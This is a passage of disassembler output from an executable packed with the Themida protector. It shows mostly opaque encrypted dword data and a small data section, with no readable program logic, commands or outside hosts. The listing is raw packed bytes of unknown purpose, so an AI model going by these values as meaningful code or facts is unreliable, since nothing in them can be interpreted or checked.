0C8C87195h, 0DACA6649h, 50C2BBF0h dd 0B2ACC8B5h, 0E1BF66CCh, 0F8BB66E1h, 0B675B13Eh, 8E9DAh dd 27E30000h, 0CF924F3Eh, 0B86629F4h, 0D18A4291h, 8C3BE081h dd 0DA8B5EF2h, 60ACAFBEh, 11E955h, 0BF6B0000h, 563A32EDh dd 872AAFC3h, 926D7638h, 80D80ED5h, 10E9ECD1h, 0A1000000h dd 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 8B9D7C59h, 6860FD3h dd 81000000h, 0B6A0BEE9h, 0D9B70F18h, 5E9h, 0E8EEDA00h dd 0A9BA00ABh, 8B00D7B5h, 0EE9F8h, 0F27F0000h, 97FFED7Ah dd 5C797D11h, 0E9D643AEh, 6052F380h, 0BA66CF8Bh, 80614B1Bh dd 5157B3D6h, 11E8h, 0D6963E00h, 0C6B190A6h, 4694A05h dd 6F21A31Ch, 5A58D720h, 2D33BF5Ah, 810F2C1Fh, 6, 8D16E981h dd 8A0F01FCh, 0 dd 0FF28B66h, 28Ch, 66ABB500h, 0F94CF8BAh, 6628E880h, 82A8CF81h dd 5810Fh, 38BA0000h, 0E92C448Ch, 11h, 9AC76D3Dh, 671E4034h dd 76B82558h, 409F43EDh, 6E9F913h, 0EF000000h, 0A08B8321h dd 0C6B70FE5h, 0A890Fh, 81600000h, 432772E7h, 6158531Eh dd 13E8h, 4A818E00h, 359783CDh, 0E63F7C33h, 2F28BCC6h dd 0A07C26C8h, 14E9h, 0D7C8F600h, 61CB1B49h, 9C001A28h dd 9E9B184Eh, 7E35D87Eh, 0E9505FA5h, 11h, 31F78CB5h, 872EA52h dd 0E751A649h, 8E40C4C2h, 52F95A93h, 5824E280h, 0C3BF0F60h dd 0DE9h, 595D8500h, 4CC1E0AFh, 0D204B7B8h, 0E961510Dh dd 11h, 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h dd 7FC0803Ah, 0E8C8DB80h, 14h, 0B94945B7h, 0BB99E6D8h dd 0E90CB925h, 75A810F0h, 0A4A5EA37h, 66E88166h, 0C3815EFFh dd 1976E980h, 14E8h, 4E0E3300h, 0C547FCDAh, 82FF728Bh dd 0CED6CE05h, 8077AC21h, 0CE962h, 0C5060000h, 0F167BDC4h dd 6D813BF4h, 28591223h, 3B2h dup(28A66DB1h), 5E516DB1h dd 20Ah dup(5E511A83h), 77511A83h, 0F5h dup(77E1B92Ch) dd 0E1E1B92Ch, 0A4h dup(0E1970665h), 333h dup(0FA800710h) dd 0CC800710h, 973h dup(0CCCCCCCCh), 0CCCCCCh, 293h dup(0) Themida_ ends ; Section 5. (virtual address 001AE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001AE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5AE000h dd 80h dup(0) dd 240h dup(?) dword_5AEB00 dd 140h dup(?) ; DATA XREF: Themida_:00530C6Co _idata2 ends end start